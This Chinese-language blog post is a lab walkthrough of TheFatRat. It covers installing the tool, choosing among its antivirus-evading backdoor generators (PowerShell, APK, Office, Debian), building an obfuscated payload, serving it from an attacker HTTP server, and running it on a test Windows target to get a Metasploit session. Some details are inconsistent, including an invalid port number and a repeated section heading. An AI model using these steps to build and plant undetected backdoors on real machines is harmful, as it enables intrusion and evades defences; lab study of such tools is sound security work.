kail攻击主机:Kali 192.168.11.106
靶机:windows server 2008 r2 192.168.11.134 x64 32位
一、TheFatRat介绍
TheFatRat创建的后门或者payload,可以在Linux,Windows,Mac和Android上等多种平台上执行,可生成exe、apk、sh、bat、py等多种格式。TheFatRat可以和msf无缝对接,并且集成内置了Fudwin、Avoid、backdoor-factory等多个免杀工具,对powershell的免杀姿势尤其多样。
特征:
-
全自动MSFvenom & Metasploit。
-
本地或远程侦听器生成。
-
按类别轻松制作后门操作系统。
-
生成各种格式的有效载荷。
-
绕过防病毒后门。
-
可以用于增加文件大小的文件泵。
-
能够检测外部IP和接口地址。
-
自动创建用于USB/CDROM利用的AutoRun文件。
二、kail机器安装TheFatRat
1、git clone https://github.com/Screetsec/TheFatRat.git
2、apt install mingw-w64 # 不可少
3、添加执行权限:chmod +x setup.sh powerfull.sh fatrat
4、./setup.py
正在自动完成一些相关的配置:
配置输出目录:
是否生成快捷方式:
在成功安装后,可以查看TheFatRat/logs目录下的setup.log文件,里面是TheFatRat需要的一些软件和环境:
作者提供了升级的命令,可直接升级软件:
./update && chmod + x setup.sh && ./setup.sh
三、使用TheFatRat
3.1、常用创建后门菜单
启动:./fatrat
启动过程比较慢,耐心等待,直至出现如下界面:
[01] Create Backdoor with msfvenom:直接利用msf生产后门,基本不能免杀;
[02] Create Fud 100% Backdoor with Fudwin 1.0:使用Fudwin 1.0创建powershell后门,ps1利用powerstager混淆,从结果来看效果不错;
[03] Create Fud Backdoor with Avoid v1.2:使用Avoid v1.2创建后门;
[04] Create Fud Backdoor with backdoor-factory:使用backdoor-factory创建后门;
[05] Backdooring Original apk [Instagram, Line,etc]:生成安卓使用的apk后门;
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]:综合了多种方式,可生成bat、exe、dll、ps1等,可利用c、C#多种语言编译,官方非常推荐,但经尝试免杀效果一般,肯定是被杀软列入特征库了;
[07] Create Backdoor For Office with Microsploit:生成office类后门;
[08] Trojan Debian Package For Remote Access [Trodebi]:生成linux后门;
3.2、生成后门或payload
在主菜单选择2,进入[02] Create Fud 100% Backdoor with Fudwin 1.0,选择1,利用powerstager混淆,并将powershell编译成exe。
若生成过程报错,去查看TheFatRat/logs目录下的fudwin.log文件,看看什么报错信息。
生成的rc脚本如下:用于后续msf攻击使用
生成的后门或者payload如下:
使用微步在线云沙箱 (threatbook.com) 在线检测样本,结果如下:
3.3、上传后门到靶机
用python打开一个http服务器:
cd /root/Desktop/Fatrat_Generated/
python -m http.server 80008
在靶机上访问http://192.168.11.106:14772可下载后门程序:
3.4、上传后门到靶机
1、靶机上执行3.2节生成的rc脚本:msf6 > resource /root/Desktop/TheFatRat/config/listeners/test1.rc
2、在靶机上执行后门程序test.exe.exe:
虽然报错,但可正常上线:
原文始发于微信公众号(TKing的安全圈):TheFatRat木马生成工具
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论